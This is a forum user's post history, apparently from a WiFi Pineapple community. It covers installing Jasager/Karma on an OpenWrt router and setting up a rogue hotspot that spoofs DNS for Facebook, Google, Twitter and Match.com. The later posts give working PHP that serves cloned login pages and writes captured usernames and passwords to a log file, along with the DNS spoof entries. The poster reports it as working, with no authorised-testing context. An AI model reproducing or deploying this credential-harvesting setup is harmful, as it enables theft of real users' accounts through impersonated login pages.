Jump to content

loozr

Active Members
  • Posts

    134
  • Joined

  • Last visited

  • Days Won

    3

Posts posted by loozr

  1. Actually it seem I got it working when i changed the start of the index.php. as Neworld suggested in another thread.

    I also changed the line that require error.php, into redirect.php. Aand in my case I have all the phish files symlinked directly to /www/ so I have edited out the $phishFolder since I didn't need it.

    Pasting the complete working index.php


    <?php
    $ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $skipInclude = 0;
    if (strpos($ref, "facebook")) { $phishFile = "facebook.htm";
    } elseif (strpos($ref, "gmail")) { $phishFile = "gmail.htm";
    } elseif (strpos($ref, "twitter")) { $phishFile = "twitter.htm";
    } else { require('redirect.php');
    $skipInclude = 1;
    }
    if ($skipInclude == 0) {
    include($phishFile);
    }
    ?>
    [/CODE]

    And so far it seems to be working like a charm! :)

  2. Thanks for you reply! And I'm sorry about the amount of data that i pasted, just wasn't sure about what you needed to know.

    Actually I pasted the ls of the /www folder right after my index.php in my previous post.

    Just to clarify my facebook files looks like this

    /www/facebook.htm

    /www/facebook_files/

    The thing is, I have tried to put both "./" and nothing ie "" but in any case I'm just seeing an empty page, whith the code as mentioned in my previous post.

    But if i try to enter direct url i.e. 172.16.42.1/facebook.htm then the facebook page appears as it should, and phishing works as intended.

    I just can't seem to understand what I did wrong.

  3. Hi there! First of all thank you so much for sharing all your work! It's much appreciated!

    However I seem to have some problems making this work. I'ts probably just me beeing stupid.. My phish files should be okay, at least they work nice whith "the original method".

    My problem is that with this method without folder names my phishfiles just won't work. All that happens when i try to open i.e. facebook is that the page either does nothing, or goes back to the previous page. The code of the page is then showing up as:



    <html><head>
    <script type="text/javascript">
    function goBack()
    {
    window.history.back()
    }
    </script>
    </head>
    <body onload="goBack()">
    </body></html>
    [/CODE]

    Which actually seems to be the last part of my error.php. I just don't understand why the browser would go directly to error.php, before the phishingpage..

    My error.php

    [CODE]
    <?php
    $ref = $_SERVER['HTTP_REFERER'];
    $today = date("F j, Y, g:i a");
    if (isset($_POST['name']) && !empty($_POST['name'])) {
    $nam = stripslashes($_POST['name']);
    $pas = stripslashes($_POST['pass']);
    $nam = htmlspecialchars($nam, ENT_QUOTES);
    $pas = htmlspecialchars($pas, ENT_QUOTES);
    $content = $today . " -- " . $ref . " -- " . $nam . " -- " . $pas;
    $filed = @fopen("pineapple/logs/phish.log", "a+");
    @fwrite($filed, "$content\n");
    @fclose($filed);
    }
    ?>
    <html><head>
    <script type="text/javascript">
    function goBack()
    {
    window.history.back()
    }
    </script>
    </head>
    <body onload="goBack()">
    </body></html>
    [/CODE]

    So my index.php looks like this.

    [CODE]
    <?php
    $ref = $_SERVER['HTTP_REFERER'];
    $phishFolder = "./"; # Folder where your phishing files exist, Sym link from usb thumb drive "ln -s /usb/phishing-folder /www/phish"
    $skipInclude = 0;
    if (strpos($ref, "facebook")){
    $phishFile = "facebook.htm";
    } elseif (strpos($ref, "gmail")) {
    $phishFile = "gmail.html";
    } elseif (strpos($ref, "twitter")) {
    $phishFile = "twitter.htm";
    } else {
    require('error.php');
    $skipInclude = 1;
    }
    if ($skipInclude == 0) {
    include($phishFolder.$phishFile);
    }
    ?>
    [/CODE]

    I have symlinked /usb/phish/* to /www/ thats why I have "./" as phishfolder. And I don't yet have anything for gmail, but facebook and twitter should still work. I think like this I would not have to edit all the links for facebook_files folder, right?

    ls -l /www

    [CODE]
    root@Pineapple:~# ls -l /www
    lrwxrwxrwx 1 root root 30 Aug 9 11:32 accounts.google.htm -> /usb/phish/accounts.google.htm
    lrwxrwxrwx 1 root root 32 Aug 9 11:32 accounts.google_files -> /usb/phish/accounts.google_files
    -rw-r--r-- 1 root root 621 Aug 9 10:32 error.php
    lrwxrwxrwx 1 root root 23 Aug 9 11:21 facebook.htm -> /usb/phish/facebook.htm
    lrwxrwxrwx 1 root root 25 Aug 9 11:21 facebook_files -> /usb/phish/facebook_files
    -rw-r--r-- 1 root root 496 Aug 9 14:16 index.php
    -rw-r--r-- 1 root root 113 Jun 5 18:42 indexORG.php
    lrwxrwxrwx 1 root root 23 Aug 9 12:11 matchcom.htm -> /usb/phish/matchcom.htm
    drwxr-xr-x 1 root root 0 Jul 2 01:28 pineapple
    -rw-r--r-- 1 root root 490 Aug 9 12:41 redirect.php
    lrwxrwxrwx 1 root root 22 Aug 9 11:32 twitter.htm -> /usb/phish/twitter.htm
    lrwxrwxrwx 1 root root 24 Aug 9 11:32 twitter_files -> /usb/phish/twitter_files
    [/CODE]

    And my DNS spoof config states:

    [CODE]
    172.16.42.1 facebook.com
    172.16.42.1 www.facebook.com
    172.16.42.1 match.com
    172.16.42.1 accounts.google.com
    172.16.42.1 twitter.com
    [/CODE]

    Oh, and my redirect.php

    [CODE]
    <?php
    $ref = $_SERVER['HTTP_REFERER'];
    if (strpos($ref, "facebook")){ header('Location: facebook.htm'); }
    if (strpos($ref, "match")){ header('Location: matchcom.htm'); }
    if (strpos($ref, "accounts.google")){ header('Location: accounts.google.htm'); }
    if (strpos($ref, "gmail")){ header('Location: accounts.google.htm'); }
    if (strpos($ref, "twitter")){ header('Location: twitter.htm'); }
    require('error.php');
    ?>
    [/CODE]

    Any help will be appreciated! :)

  4. Okey, to fix the syntax error above, i edited out all the ':' at the end of 'if' lines. Now when I run /etc/init.d/jasager start I get this:

    root@OpenWrt:~# /etc/init.d/jasager start

    /usr/lib/ruby/1.9/rexml/source.rb:169:in `initialize': uninitialized constant En coding::UTF_8 (NameError)

    from /usr/lib/ruby/1.9/rexml/source.rb:17:in `new'

    from /usr/lib/ruby/1.9/rexml/source.rb:17:in `create_from'

    from /usr/lib/ruby/1.9/rexml/parsers/baseparser.rb:139:in `stream='

    from /usr/lib/ruby/1.9/rexml/parsers/baseparser.rb:116:in `initialize'

    from /usr/lib/ruby/1.9/rexml/parsers/treeparser.rb:9:in `new'

    from /usr/lib/ruby/1.9/rexml/parsers/treeparser.rb:9:in `initialize'

    from /usr/lib/ruby/1.9/rexml/document.rb:230:in `new'

    from /usr/lib/ruby/1.9/rexml/document.rb:230:in `build'

    from /usr/lib/ruby/1.9/rexml/document.rb:43:in `initialize'

    from /karma/bin/create_option_list.rb:16:in `new'

    from /karma/bin/create_option_list.rb:16:in `block in <main>'

    from /karma/bin/create_option_list.rb:12:in `each'

    from /karma/bin/create_option_list.rb:12:in `<main>'

    root@OpenWrt:~# tail: can't open '/tmp/status.log': No such file or directory

    tail: no files

    I have googled some but i can't seem to find a solution to the UTF_8 (NameError).

    Any help or hints will be much appreciated!

  5. After several trial and errors I flashed the device with

    root@OpenWrt:/www# uname -a

    Linux OpenWrt 2.6.32.27 #11 Fri May 27 06:14:10 MST 2011 mips GNU/Linux

    And added support for external rootfs. Thereafter i installed the required packages for jasager.

    So everything is installed, or at least untared since the *.ipkg packages didn't have the correct architecture for my build.

    copied /karma/www* to /www/ and browsed to /index.html, where i got redirected to /cgi-bin/status.rb who is showing me a white page.

    /etc/init.d/jasager start gives me:

    /karma/bin/create_option_list.rb:13: syntax error, unexpected ':', expecting keyword_then or ';' or '\n'

    /karma/bin/create_option_list.rb:28: syntax error, unexpected keyword_end, expecting '}'

    /karma/bin/create_option_list.rb:37: syntax error, unexpected $end, expecting '}'

    /etc/rc.common: line 1: httpd: not found

    What could be wrong? Do i have to edit /karma/bin/create_option_list?

    Or should i add something to /etc/rc.common?

  6. I have now installed OpenWRT to the device. I used http://downloads.openwrt.org/backfire/10.03.1-rc4/ar71xx/openwrt-ar71xx-dir-825-b1-squashfs-factory.bin.

    #uname -r

    Installed Linux OpenWrt 2.6.32.25 #1 Fri Nov 19 20:27:50 PST 2010 mips GNU/Linux

    Set the passwd and changed networking settings to 192.168.10.1/255.255.255.0, and then rebooted.

    Then i did the following:

    #opkg update

    #opkg install ruby

    Installing ruby (1.9.1-p376-3) to root...

    Downloading http://downloads.openwrt.org/backfire/10.03.1-rc4/ar71xx/packages/ruby_1.9.1-p376-3_ar71xx.ipk.

    Installing libruby (1.9.1-p376-3) to root...

    Downloading http://downloads.openwrt.org/backfire/10.03.1-rc4/ar71xx/packages/libruby_1.9.1-p376-3_ar71xx.ipk.

    Installing libpthread (0.9.30.1-43.10) to root...

    Downloading http://downloads.openwrt.org/backfire/10.03.1-rc4/ar71xx/packages/libpthread_0.9.30.1-43.10_ar71xx.ipk.

    Installing librt (0.9.30.1-43.10) to root...

    Downloading http://downloads.openwrt.org/backfire/10.03.1-rc4/ar71xx/packages/librt_0.9.30.1-43.10_ar71xx.ipk.

    Configuring librt.

    Configuring libpthread.

    Configuring libruby.

    Configuring ruby.

    #opkg install ruby-core

    Installing ruby-core (1.9.1-p376-3) to root...

    Collected errors:

    * verify_pkg_installable: Only have 1916kb available on filesystem /overlay, pkg ruby-core needs 1948

    * opkg_install_cmd: Cannot install package ruby-core.

    So, what should I do when I'm already running out of space? Is there some software i dont need on the router? Like LUCI?

    #opkg list_installed

    base-files - 43.10-r24045

    busybox - 1.15.3-2

    crda - 1.1.0-2

    dnsmasq - 2.55-5

    dropbear - 0.52-4

    firewall - 1-20

    hotplug2 - 1.0-beta-2

    iptables - 1.4.6-2

    iptables-mod-conntrack - 1.4.6-2

    iptables-mod-nat - 1.4.6-2

    iw - 0.9.21-1

    kernel - 2.6.32.25-1

    kmod-ath - 2.6.32.25+2010-10-19-1

    kmod-ath9k - 2.6.32.25+2010-10-19-1

    kmod-button-hotplug - 2.6.32.25-1

    kmod-cfg80211 - 2.6.32.25+2010-10-19-1

    kmod-crc-ccitt - 2.6.32.25-1

    kmod-crypto-aes - 2.6.32.25-1

    kmod-crypto-arc4 - 2.6.32.25-1

    kmod-crypto-core - 2.6.32.25-1

    kmod-input-core - 2.6.32.25-1

    kmod-input-gpio-buttons - 2.6.32.25-1

    kmod-input-polldev - 2.6.32.25-1

    kmod-ipt-conntrack - 2.6.32.25-1

    kmod-ipt-core - 2.6.32.25-1

    kmod-ipt-nat - 2.6.32.25-1

    kmod-ipt-nathelper - 2.6.32.25-1

    kmod-leds-gpio - 2.6.32.25-1

    kmod-mac80211 - 2.6.32.25+2010-10-19-1

    kmod-madwifi - 2.6.32.25+r3314-4

    kmod-nls-base - 2.6.32.25-1

    kmod-ppp - 2.6.32.25-1

    kmod-pppoe - 2.6.32.25-1

    kmod-usb-core - 2.6.32.25-1

    kmod-usb-ohci - 2.6.32.25-1

    kmod-usb2 - 2.6.32.25-1

    libc - 0.9.30.1-43.10

    libgcc - 4.3.3+cs-43.10

    libiptc - 1.4.6-2

    liblua - 5.1.4-7

    libnl-tiny - 0.1-1

    libpthread - 0.9.30.1-43.10

    librt - 0.9.30.1-43.10

    libruby - 1.9.1-p376-3

    libuci - 12012009.6-2

    libuci-lua - 12012009.6-2

    libxtables - 1.4.6-2

    lua - 5.1.4-7

    luci - 0.9+svn6512-1

    luci-admin-core - 0.9+svn6512-1

    luci-admin-full - 0.9+svn6512-1

    luci-admin-mini - 0.9+svn6512-1

    luci-app-firewall - 0.9+svn6512-1

    luci-app-initmgr - 0.9+svn6512-1

    luci-cbi - 0.9+svn6512-1

    luci-core - 0.9+svn6512-1

    luci-http - 0.9+svn6512-1

    luci-i18n-english - 0.9+svn6512-1

    luci-ipkg - 0.9+svn6512-1

    luci-lmo - 0.9+svn6512-1

    luci-nixio - 0.9+svn6512-1

    luci-sgi-cgi - 0.9+svn6512-1

    luci-sys - 0.9+svn6512-1

    luci-theme-base - 0.9+svn6512-1

    luci-theme-openwrt - 0.9+svn6512-1

    luci-uci - 0.9+svn6512-1

    luci-uvl - 0.9+svn6512-1

    luci-web - 0.9+svn6512-1

    mtd - 13

    opkg - 576-1

    ppp - 2.4.4-11

    ppp-mod-pppoe - 2.4.4-11

    ruby - 1.9.1-p376-3

    swconfig - 6

    uci - 12012009.6-2

    udevtrigger - 106-1

    uhttpd - 19

    vsc7385-ucode-ap83 - 1

    vsc7385-ucode-pb44 - 1

    vsc7395-ucode-ap83 - 1

    vsc7395-ucode-pb44 - 1

    wireless-tools - 29-4

    wpad-mini - 20100705-1

  7. Hi there! This is my first post here, and my english is not too good, so please bare with me. (:

    OK, to the point.

    I recently bought a used dir-825, just because i could load OpenWRT on it. And that was just a breeze, and it works great. The problem is that I would love to be capable of using Jasager on this device. Is that at all possible? If it is, what should i do? Which openwrt version? jffs/squashfs? and do I have to use a USB device for storage to accomplish this?

    What i have tried so far.

    Various versions of OpenWRT, bleeding edge, latest stable, and both jffs and squashfs. But when i'm trying to install the pachages requiered by Jasager(ruby, ruby-core, ruby-rexml, webif, kmod-gpio) I'm only running out of space.

    In addition to that, if I try to run just the jasager_2.1-1_mips.ipk i just get an error stating that i got the wrong architecture. However i am able to untar the tarball, but should i untar this from / or from /root/ ?

    Thanx in advance for all help regarding my problem! :)

×
×
  • Create New...